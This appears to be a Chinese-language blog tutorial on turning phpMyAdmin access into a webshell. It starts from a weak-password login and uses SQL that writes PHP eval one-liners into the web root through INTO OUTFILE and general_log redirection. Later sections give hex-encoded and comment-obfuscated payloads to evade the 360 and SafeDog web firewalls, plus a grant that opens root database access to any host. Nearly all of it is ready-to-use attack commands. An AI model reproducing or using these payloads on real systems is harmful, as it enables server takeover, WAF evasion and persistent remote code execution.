phpmyadmin后台getshell
导出WebShell主要条件:
Root数据库用户(root权限)
网站绝对路径(确定有写入权限)
magic_quotes_gpc:Off(关闭)
导出WebShell其它条件:
magic_quotes_gpc:开启时,会对’单引号进行转义,使其变成“\”反斜杠。
secure_file_priv:此配置项用来完成对数据导入导出的限制,如允许导入导出到指定目录。
file_priv:file_priv权限允许你用load_file、into outfile读和写服务器上的文件,任何被授予这个权限的用户都能读和写服务器的任何文件。
1.弱口令进入phpmyadmin后台后
2.查看phpinfo,获得网站在该服务器上的绝对路径
方法一:在数据库中建表,存入一句话木马,然后导出文件
1 | Create TABLE a (cmd text NOT NULL); |
方法二:通过日志记录功能插入一句话木马
检查日志记录相关的全局变量的值:SHOW VARIABLES LIKE “general%”;
设置为on,开启general_log 的作用:开启它可以记录用户输入的每条命令
1 | SET global general_log_file='D:/phpstudy/WWW/xiaoma.php'; |
设置日志文件的路径,然后执行SQL语句,这个语句将被记录在日志文件中。然后一句话连接,就ok了。
骚姿势
1 phpMyAdmin导出至中文路径:
1 | set character_set_client='gbk';set character_set_connection='gbk';set character_set_database='gbk';set character_set_results='gbk';set character_set_server='gbk';select '<?php eval($_POST[pass]);?>' into outfile 'C:\\phpStudy\\WWW\\测试\\90sec.php'; |
2 phpMyAdmin常规导出WebShell(1):
1 | CREATE TABLE `mysql`.`shadow9` (`content` TEXT NOT NULL ); |
3 phpMyAdmin常规导出WebShell(2):
1 | select '<?php @eval($_POST[pass]);?>' into outfile 'c:/phpstudy/www/90sec.php'; |
4 phpMyAdmin general_log GetShell:
1 | show global variables like "%genera%"; //查询general_log配置 |
5 phpMyAdmin绕过WAF Getshell(1):
phpMyAdmin导出WebShell时如果遇到WAF就会被拦截,因为WAF会检测我们提交的POST、GET数据包内容中是否含有危险函数、SHELL特征等,没有通过,有则拦截。这时我们可以尝试开启外链来执行导出WebShell的SQL语句,因为这样走的不是POST、GET方式,所以这样执行SQL语句是不会被WAF拦截的。
1 | grant all privileges on *.* to 'root'@'%' identified by 'root' with grant option; //开启MySQL外链 |
6 phpMyAdmin绕过WAF Getshell(2):
检测我们提交SQL语句的POST、GET数据包中是否包含的有WAF特征库中的危险函数、SHELL特征等,如:、select、outfile,这样的就会被WAF检测到并进行拦截操作。
常规导出被拦截了:
1 | select '<?php @eval($_POST[pass]);?>' into outfile 'c:/phpstudy/www/90sec.php'; |
绕过360网站卫士:
1 | select '<?php @eval($_POST[pass]);?>' into /*!50001outfile*/ 'c:/phpstudy/www/bypass.php'; |
绕过网站安全狗(<4.0):
注:Hex编码:(提交时也会显示被拦截,其实文件[过狗马]已经导出了!)
1 | select 0x3c3f7068702024613d636f6e766572745f75756465636f646528222638372d5339372954206022293b40246128245f504f53545b27212a21275d293b3f3e into outfile 'C:\\phpStudy\\WWW\\bypass.php'; |
绕过网站安全狗(4.0正式版):
1 | /*!50001select*/ 0x3c3f7068702024613d636f6e766572745f75756465636f646528222638372d5339372954206022293b40246128245f504f53545b27212a21275d293b3f3e into outfile 'C:\\phpStudy\\WWW\\bypass.php'; |
7 绕过server_sql.php、tbl_sql.php、db_sql.php + 安全狗导出WebShell:
server_sql.php、tbl_sql.php、db_sql.php这3个文件中在phpMyAdmin里都具有执行SQL语句的功能,但这3个文件被删除后再点击SQL执行语句时就会出现404错误页面,因为文件已经不存在了,这种情况虽然不常见,但也说不定哦!
登陆phpMyAdmin,选择MySQL数据库,随便复制1个表的链接,然后在链接后边加上以下过狗导出WebShell的SQL语句:
1 | sql_query=/*!50001select*/ 0x3c3f7068702024613d636f6e766572745f75756465636f646528222638372d5339372954206022293b40246128245f504f53545b27212a21275d293b3f3e into outfile 'C:\\phpStudy\\WWW\\bypass.php'; |
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 cxaqhq@qq.com